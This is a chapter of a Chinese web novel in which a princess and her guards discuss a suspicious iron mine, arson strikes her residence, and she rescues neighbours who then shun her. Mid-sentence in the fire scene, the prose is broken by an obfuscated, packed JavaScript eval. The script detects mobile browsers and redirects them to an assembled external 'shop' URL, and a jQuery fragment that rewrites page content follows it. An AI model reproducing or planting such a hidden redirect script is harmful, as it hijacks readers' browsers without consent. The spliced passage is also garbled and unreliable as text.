19.失火

作品:《春台杀

    接下来的几日异常平静,刺史府和将军府毫无消息,柳遇也只让人送回了惊蛰的衣服和李宝儿的尸体,并未再踏入公主府一步。然而卫安澜清楚,眼下南都虽浪定风闲,暗流却在潜伏涌动,随时准备掀翻整座城池。


    晚间,身体痊愈的惊蛰来书房拜见卫安澜,除了照顾春桃的青萍,小满等人都在。惊蛰大步行至堂中,拄剑单膝跪地。


    “属下一时不察中了左飞钺的奸计,请殿下责罚。”


    “快起来。”卫安澜忙绕出书案,握住惊蛰的手臂,“你才刚好些,别动不动就跪,自家人没那么多规矩。”


    惊蛰被卫安澜扶着坐在身侧,语气中仍有几分自责,“连累殿下因属下受委屈,实在是属下的罪过。”


    “万幸王菡只是想毁我名声,没有真的伤害到你。”卫安澜给惊蛰端了杯茶,长叹一声道,“若她和左飞钺对你痛下杀手,我该如何安心,如何向那些去了的阿兄阿姐交代啊……”


    二十二年前,大凉被灭国之时,先帝给卫安澜留下了二十四名暗卫。这些暗卫皆以节气为名,他们接到的唯一一条命令便是留下大凉的希望,陪她长大,护她平安。


    时光流转,经历了刺杀、战乱和重重磨难后,卫安澜身边仅剩下惊蛰、小满、立秋和立冬四人。皇兄和舅父与她血脉相连,付出或许还理所应当,而他们只因一道圣旨,便心甘情愿地为她奉献了一生。虽名为主仆,但在卫安澜心里,他们都是她的兄长,她最最在乎的亲人。


    哪怕卫安澜早就许他们自由,他们依旧以幕僚的身份留在她身边,不离不弃,无怨无悔。


    一想到惊蛰杳无音信的那几天,卫安澜的心便一揪一揪地疼。她已经失去了太多人,断不能再失去他们几个了。


    听出卫安澜嗓音微颤,旁边的小满忍不住“噗嗤”一笑,“殿下说什么傻话呢,分明是惊蛰办事不力,害您提心吊胆,辜负了您的信任,谁疏忽谁遭殃是天经地义的呀!不过话说回来——能让惊蛰出师不利,左飞钺也算是个人物了!”


    小满慵懒地倚在书案一角,右手搭在膝盖上有意无意地摇晃,宛如美人侧卧。公主府这些人中,也就只有小满整天在卫安澜面前没骨头似的,半点规矩都不讲。听他又开始挖苦惊蛰,立秋直接嫌弃地转开脸,立冬则专心地擦拭自己的宝刀,对此完全不感兴趣。


    卫安澜知道小满是在为自己纾解心结,她笑了笑,喝下治疗心疾的汤药,亦压下心头的忧思,“我有你们,何惧宵小之徒?”


    “那是!”


    小满向口中塞了一瓣蜜橘,又递了一瓣给卫安澜,同时向少微偷偷使了个眼色,“我们受先帝和师父遗命,可得让殿下健健康康高高兴兴的。”


    “你这狗东西总算说了句人话。”少微捏了捏小满的脸,又笑着接过卫安澜手中的药碗,“殿下,我爹临终前说过,要是照顾不好您,他第一个找小满算账。”


    一听少微提起师父,小满立即跳脚,“你爹我师父还让我照顾好你呢!你是我夫人,我死了你就守寡了!”


    少微冷冷地翻了个白眼,“你死了我改嫁,我看惊蛰就挺好的。”


    “微微!”


    许是一物降一物,伶牙俐齿的小满总是被少微拿捏得死死的。当初二人两情相悦,卫安澜本想放他们离开,连宅子都置好了,结果二人无论如何都不同意,于是卫安澜便亲自替少微张罗,在府里办了一场热热闹闹的婚事。


    “行了,殿下坐在这里是看你们打闹的吗?”惊蛰把剑“啪”的一声拍在手边的案桌上,沉声道,“小满,你又趁我昏迷时偷我的腰牌,打算什么时候还回来?”


    “好心当作驴肝肺,我是在替你办事!”小满瞪圆了眼睛抗议道,“等你醒过来,该送回京的公文都堆三尺高了!当不了暗卫统领就趁早让贤,我等着接手呢!”


    说着,他还不忘给了立秋一记眼刀。这家伙整日和自己作对,肯定又是他在惊蛰面前嚼舌根了。


    惊蛰板着脸,口吻严肃地道:“下不为例。”


    暗卫统领有什么了不起的,真无趣。


    小满不以为意地撇撇嘴,把统领的专属腰牌丢给惊蛰,翻过身不再说话。


    惊蛰转向卫安澜,表情略显凝重,“殿下,长话短说。近来发生的事属下都听说了,属下在玳铁矿洞中失手被擒,左飞钺原不想杀属下,只是关押,不料王菡的人突然出现,将属下迷晕,带到了齐国夫人府。”


    卫安澜很快明白了他的意思,“玳铁矿有问题?”


    左飞钺识破了惊蛰的身份,他不欲和卫安澜起冲突,又不能让惊蛰在矿上随意行动,因此才抓而不杀。


    如此说来,矿洞中必隐藏着不可告人的秘密。


    惊蛰点点头,“属下扮作采工混入矿洞,闲谈时得知今夏多雨,左飞钺反倒逼着采工连日开采,甚至出工时间比平时更长,采工们皆苦不堪言。”


    小满啧啧两声,忍不住插嘴道:“一般来说,雨季土壤湿润,矿山很容易崩塌,矿洞内的水位也会升高,采工随时都会丧命,因此朝廷是明令禁止夏季过度开采矿石的。”


    “不错。”惊蛰握紧拳头,低沉的声音里隐隐带着一丝不安,“玳铁矿与军械直接相关,属下粗略计算过,按这个开采程度——”


    惊蛰话刚说到一半,原本各站一边的立秋和立冬同时动作,一个掀窗一个推门,眨眼间消失得无影无踪。迅即,青萍慌慌张张地跑了进来。


    “殿下,后院走水了!”


    卫安澜一惊,忙披衣出门查看。只见滚滚浓烟从后院马厩冒出,蹿动的火苗腾空而起,已然照亮了半边夜空。


    公主府是皇帝登基前和卫安澜的住处,四周皆为民宅。夜风横扫,火星四溅,临近的房屋也被波及。念及立秋和立冬的反应,卫安澜恍然,“有人纵火?”


    小满和惊蛰早已带人奔向后院,少微冲进里屋背上药箱,拉着卫安澜就走,“先出去!”


    卫安澜绕到后街,巡街的卫兵都在忙着提水救火,卷入火海的宅院虽不多,却也令半条街的百姓惊恐哭喊起来。卫安澜扶住胸口,只觉得一只大手正紧紧捏住她的心脏,她用尽全身力气都无法挣脱。


    纵火之人何其狠毒,加害她的性命不说,还殃及无辜的百姓!


    卫安澜什么都没说,她和少微对视一眼,裹上打湿的外袍冲进了起火的宅院。


    浓烟滚滚,刺鼻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162138|195704||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的味道扑面而来,卫安澜呛得眼泪直流,根本看不清脚下的路。她一面掩住口鼻,一面躲避断裂的横梁,循着呼救的方向将受困的百姓一个个拖出火场。所幸现在还未到就寝的时辰,大街小巷行人不少,火势很快便被控制住,也没有太多人受伤。


    缓了口气后,卫安澜又命人去照看受伤的百姓。她四下看了看,发现一个中年女人正蜷缩在屋檐下,衣摆也被烧短了一截。卫安澜不顾嗓子里弥漫的烟尘,忙快步走过去,挽起裤脚为她清洗包扎。


    女人仓皇无措的视线逐渐聚焦,她颤抖着抱紧身体,口中不停地道谢。


    “夫人不必客气,是我的住处起火连累了大家。”卫安澜撕下细布包好伤口,把手中的小药瓶塞到女人怀里,“这药一天涂两次,很快就好了,夫人拿去用吧。”


    “这多不好意思……”女人受宠若惊地接过药瓶,用袖子擦了好几次,小心翼翼地捧在手心里。


    正说着,不远处忽地传来一声大喝,“让你不在家好好待着,烧坏了没有?”


    卫安澜抬起头,前方风风火火跑来的男人正是清风楼的老板。老板一见卫安澜,倏地变了脸色。


    那夜卫安澜和柳遇在清风楼里讨论左麒之死的案情,他先收了卫安澜足够包下两个酒楼的钱,又语焉不详地让柳遇误以为卫安澜仗势欺人白吃白喝,骗了他不少打赏。本想着就算二人事后对起账来也不好意思把钱要回去,不料今日竟在这里迎头撞上了卫安澜……


    柳遇的钱袋子还揣在怀里,老板顿觉脸上火辣辣的。害怕自己的小伎俩被拆穿,他手忙脚乱地拉走自家女人,连声音都变了调。


    “你疯了吗?她是长公主!”


    有如惊雷炸响,整条街瞬间鸦雀无声,所有人的目光都汇聚在了卫安澜身上。


    她本就穿着便服,又因在火场里穿行了几个来回,头发有些凌乱,脸上也沾了烟灰,是以刚才没有被人认出。百姓们怔怔地望着卫安澜,怎么也想不到眼前这个冲进火场救人的女子就是大名鼎鼎的华阳长公主。


    长公主?


    老板娘双手猛地一缩,卫安澜送给她的药瓶砰然坠地,骨碌碌滚到墙根,陷进了淤泥里。


    卫安澜微微垂下眼睫,笔直地站在原地,一言不发。


    老板推搡着老板娘离开,口中依旧絮叨不停,“快走快走,你是什么身份,居然让公主给你上药?再说了,要不是她,咱们的宅子也着不了火……哎,真是晦气……”


    话音很轻,又很重。


    原本死里逃生的百姓还都对青萍和少微千恩万谢,而当老板喊出卫安澜的身份后,众人纷纷强笑着逃离,竟似要和邪祟妖魔划清界限一样。


    一阵风吹过,卫安澜不由得打了个寒战。


    原来深秋的夜这么冷啊。


    清风楼老板说得对,若卫安澜不来南都,何来这场火灾呢?百姓只看结果,有什么可辩驳的,莫说伤心,她连委屈的资格都没有。


    真是个名副其实的“祸国妖星”啊。


    卫安澜沉默着伫立良久,方淡淡勾了勾唇角,蹲下身去捡被老板娘丢弃的药瓶。


    恰在此时,一只白净修长的手递到了她面前。